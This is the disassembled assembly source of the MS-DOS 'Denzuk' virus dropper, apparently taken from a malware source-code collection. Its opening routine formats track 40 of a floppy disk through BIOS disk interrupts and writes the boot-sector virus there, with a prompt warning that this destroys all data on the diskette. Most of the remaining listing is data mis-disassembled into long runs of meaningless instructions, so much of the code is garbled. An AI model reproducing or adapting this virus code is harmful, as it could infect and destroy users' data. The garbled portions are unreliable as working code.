MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.denzuk.asm
2021-01-12 17:38:47 -06:00

2593 lines
60 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ DENZUK ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Feb-91 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_0001e equ 24h
data_0002e equ 26h
data_0003e equ 4Ch
data_0004e equ 4Eh
data_0005e equ 78h
data_0006e equ 1BCh
data_0007e equ 1BEh
main_ram_size_ equ 413h
keybd_flags_1_ equ 417h
video_mode_ equ 449h
warm_boot_flag_ equ 472h
data_0008e equ 4F6h
data_0009e equ 51Ch ;*
data_0010e equ 61Eh ;*
data_0011e equ 7C00h ;*
data_0012e equ 7C0Bh ;*
data_0013e equ 7C0Eh ;*
data_0014e equ 7C10h ;*
data_0015e equ 7C11h ;*
data_0016e equ 7C15h ;*
data_0017e equ 7C16h ;*
data_0018e equ 7C18h ;*
data_0019e equ 7C1Ah ;*
data_0020e equ 7C1Ch ;*
data_0021e equ 7C2Ah ;*
data_0022e equ 7C2Bh ;*
data_0023e equ 7C37h ;*
data_0024e equ 7C39h ;*
data_0025e equ 7C3Bh ;*
data_0026e equ 7C3Ch ;*
data_0027e equ 7C3Dh ;*
data_0028e equ 7C3Fh ;*
data_0029e equ 7D77h ;*
data_0030e equ 7DD6h ;*
data_0031e equ 7DE1h ;*
data_0032e equ 7DFDh ;*
data_0033e equ 0
data_0035e equ 28h
data_0036e equ 33h
data_0037e equ 5Ch
data_0157e equ 1E50h ;*
data_0158e equ 2000h ;*
data_0161e equ 2A00h ;*
data_0164e equ 7C00h ;*
data_0165e equ 7C0Bh ;*
data_0166e equ 7C15h ;*
data_0167e equ 7C18h ;*
data_0168e equ 7C1Ah ;*
data_0169e equ 7C1Eh ;*
data_0171e equ 7C2Ch ;*
data_0172e equ 7C2Eh ;*
data_0173e equ 7C30h ;*
data_0174e equ 7C31h ;*
data_0175e equ 7C32h ;*
data_0176e equ 7CC6h ;*
data_0178e equ 7E00h ;*
data_0179e equ 8002h ;*
data_0181e equ 0A82Ah ;*
data_0182e equ 0AA00h ;*
data_0183e equ 0AA02h ;*
data_0185e equ 0AA2Ah ;*
data_0186e equ 0AAAAh ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
denzuk proc far
start:
mov dx,29Dh
dec byte ptr ds:data_0037e
jns loc_0002 ; Jump if not sign
jmp loc_0008
loc_0002:
mov dx,1BFh
call sub_0001
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
and al,0DFh
cmp al,59h ; 'Y'
jne loc_ret_0009 ; Jump if not equal
mov dl,ds:data_0037e
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
jc loc_0007 ; Jump if carry Set
push dx
mov dx,281h
call sub_0001
pop dx
mov ax,351Eh
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov al,9
xchg al,es:[bx+4]
push es
push bx
push ax
push ds
pop es
xor dh,dh ; Zero register
mov ch,28h ; '('
mov bx,offset data_0040
mov ax,509h
int 13h ; Disk dl=drive a ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
pop ax
pop bx
pop es
jc loc_0007 ; Jump if carry Set
mov es:[bx+4],al
push ds
pop es
cld ; Clear direction
mov si,offset data_0058
jmp short loc_0004
loc_0003:
test dh,dh
jnz loc_0004 ; Jump if not zero
dec cx
jz loc_ret_0009 ; Jump if zero
loc_0004:
lea bx,[si+5] ; Load effective addr
mov bp,200h
lodsb ; String [si] to al
cmp al,0F6h
je loc_0006 ; Jump if equal
mov bx,offset data_0049
cmp al,[bx]
je loc_0005 ; Jump if equal
mov di,bx
mov cx,bp
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_0005:
xor bp,bp ; Zero register
loc_0006:
lodsw ; String [si] to ax
xchg ax,cx
lodsw ; String [si] to ax
xchg ax,dx
or dl,ds:data_0037e
lea si,[bp+si] ; Load effective addr
mov ax,301h
push si
push cx
push dx
int 13h ; Disk dl=drive a ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
pop dx
pop cx
pop si
jnc loc_0003 ; Jump if carry=0
loc_0007:
mov dx,offset data_0048
denzuk endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0001 proc near
loc_0008:
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_ret_0009:
retn
sub_0001 endp
data_0040 db 28h
db 00h, 21h, 02h, 28h, 00h, 22h
db 02h, 28h, 00h, 23h, 02h, 28h
db 00h, 24h, 02h, 28h, 00h, 25h
db 02h, 28h, 00h, 26h, 02h, 28h
db 00h, 27h, 02h, 28h, 00h, 28h
db 02h, 28h, 00h, 29h, 02h
db 0Dh
data_0041 db 0Ah, 'You are about to install a '
db 'VIRUS on your diskette!!!', 0Dh, 0Ah
db 'This will des'
data_0043 dw 7274h
data_0044 db 6Fh
data_0045 dw 2079h
db 'ALL data on the diskette!!!', 0Dh
db 0Ah, 'Inser'
data_0046 dw 2074h
db 'a formatted 360K di'
data_0047 dw 6B73h
db 'ette into the drive.', 0Dh, 0Ah, 'A'
db 're you sure you want to proceed '
db '(y/N)? $'
db 0Dh, 0Ah, 0Ah, 'Writing...$'
data_0048 db 0Dh
db 0Ah, 45h, 72h, 72h, 6Fh, 72h
db 07h, 21h, 07h, 21h, 07h
db '!$'
db 'Usage: DENZUK A: ', 0Dh, 0Ah
db '$'
data_0049 dw 167 dup (0)
data_0050 dw 0
data_0051 db 0
data_0052 dw 0, 0
data_0054 dw 0, 0
db 82 dup (0)
data_0056 dd 00000h
data_0057 dd 00000h
db 77 dup (0)
data_0058 db 0F6h
db 29h, 28h, 00h, 00h,0FFh
locloop_0011:
loop locloop_0011 ; Loop if cx > 0
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop ax
popf ; Pop flags
retn
db 8Dh, 36h,0D1h, 07h
db 0BFh, 90h, 0Bh,0B9h, 00h, 05h
db 0F3h,0A4h
db 8Dh, 36h,0D1h, 0Ch
db 0BFh, 40h, 2Bh,0B9h, 00h, 05h
db 0F3h,0A4h,0C3h, 51h,0FCh, 32h
db 0D2h,0BEh, 10h, 00h
loc_0012:
mov cx,28h
locloop_0013:
mov ax,es:[di]
xchg al,ah
ror ax,1 ; Rotate
ror ax,1 ; Rotate
mov dh,ah
and dh,0C0h
and ah,3Fh ; '?'
or ah,dl
mov dl,dh
xchg al,ah
stosw ; Store ax to es:[di]
loop locloop_0013 ; Loop if cx > 0
dec si
jnz loc_0012 ; Jump if not zero
pop cx
retn
db 51h,0FDh, 32h,0D2h
db 0BEh, 10h, 00h
loc_0014:
mov cx,28h
locloop_0015:
mov ax,es:[di]
xchg al,ah
rol ax,1 ; Rotate
rol ax,1 ; Rotate
mov dh,al
and dh,3
and al,0FCh
or al,dl
mov dl,dh
xchg al,ah
stosw ; Store ax to es:[di]
loop locloop_0015 ; Loop if cx > 0
dec si
jnz loc_0014 ; Jump if not zero
pop cx
cld ; Clear direction
retn
data_0066 db 'WS EXE ', 0
db 9 dup (0)
db 52h,0B1h, 3Bh, 12h, 02h, 00h
db 00h, 5Eh, 02h, 00h
db 'WSHELP OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h, 41h, 01h
db 0A0h, 9Dh, 00h, 00h
db 'WSSPELL OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h, 9Fh, 00h
db 80h, 80h, 00h, 00h, 59h,0F9h
db 43h,0F9h, 31h,0F9h, 45h,0F9h
db 52h,0F9h, 50h, 29h, 00h
db 9 dup (0)
db 0A0h,0B2h, 46h, 12h, 00h, 00h
db 00h, 00h, 00h, 00h
db 'WSMSGS OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0C0h, 00h
db 62h, 53h, 00h, 00h
db 'PREVIEW OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 0Fh, 11h, 16h, 01h
db 10h,0ABh, 00h, 00h
db 'PREVIEW MSG!'
db 0
db 9 dup (0)
db 03h, 88h, 0Fh, 11h,0D5h, 00h
db 00h, 22h, 00h, 00h
db 'DRAFT PDF!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0DEh, 00h
db 0AAh, 03h, 00h, 00h
db 'WSSHORT OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0DFh, 00h
db 00h, 02h, 00h, 00h
db 'WS4 PDF!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0E0h, 00h
db 0ABh, 01h, 00h, 00h
db 'CONFIG SYS!'
db 0
db 9 dup (0)
db 11h,0A3h, 39h, 12h,0E1h, 00h
locloop_0017:
or ax,[bx+si]
add [bx+si],al
inc cx
push bp
push sp
dec di
inc bp
pop ax
inc bp
inc bx
inc dx
inc cx
push sp
and [bx+si],ax
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],ah
mov word ptr ds:[1239h],ax
loop locloop_0018 ; Loop if cx > 0
locloop_0018:
or [bx+si],ax
add [bx+si],al
push di
push bx
dec ax
pop cx
push ax
dec ax
and [bx+si],ah
dec di
imul byte ptr [bx+si] ; ax = data * al
sub [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0183e
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
or ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add ch,[bp+si-5556h]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0182e
stosb ; Store al to es:[di]
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si-7F56h],ch
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+80h]
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0A00h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bp+si],ch
stosb ; Store al to es:[di]
test al,0
add ch,[bp+si+0A0h]
add ch,[bp+si+0A8h]
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bp+si+80h],ch
add [bx+si],al
add [bp+si-5556h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bp+si],ch
stosb ; Store al to es:[di]
add byte ptr [bx+si],2
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bp+si],al
add byte ptr [bx+si],0
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add ch,[bp+si+2A00h]
mov al,ds:data_0033e
add ch,[bp+si+0A0h]
add [bp+si],ch
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add ch,[bp+si-5556h]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
pushf ; Push flags
push ax
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
mov ax,5
int 10h ; Video display ah=functn 00h
; set display mode in al
mov ax,0B800h
mov es,ax
;* call sub_0002 ;*
db 0E8h, 24h, 00h
mov cx,10h
locloop_0019:
call sub_0003
mov di,3040h
;* call sub_0004 ;*
db 0E8h, 57h, 00h
loop locloop_0019 ; Loop if cx > 0
mov cx,0FFFFh
locloop_0020:
loop locloop_0020 ; Loop if cx > 0
mov cx,0F6FFh
daa ; Decimal adjust
sub [bx+si],al
add [bp+si],al
stosb ; Store al to es:[di]
test al,0
add [bp+si-5556h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0003 proc near
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
or ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
or ch,[bp+si-5F56h]
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add ch,[bp+si+0AAh]
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
sub al,[bx+si]
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0Ah
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0179e
add [bx+si],al
add [bp+si-5756h],ch
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0158e
add [bp+si-5556h],ch
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bp+si-7F56h],ch
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0181e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0Ah
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0186e
add [bx+si],al
add [bp+si-5556h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
test al,0
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0185e
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
mul byte ptr ds:data_0035e ; ax = data * al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bp+si],ch
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
test al,0
add [bp+si],cl
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bp+si],ch
add byte ptr [bx+si],0
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
sub ch,[bp+si+2A00h]
stosb ; Store al to es:[di]
add [bx+si],al
add ch,[bp+si+0A0h]
add [bp+si],ch
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add byte ptr [bx+si],0
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bp+si],ch
add [bp+si],ch
add [bx+si],al
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
or ch,[bp+si+0A0h]
add [bx+si],al
or ch,[bx+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,byte ptr ds:[2800h]
add [bx+si],al
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
or ch,[bp+si+0A0h]
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
mov al,ds:data_0033e
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],2Ah ; '*'
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],al
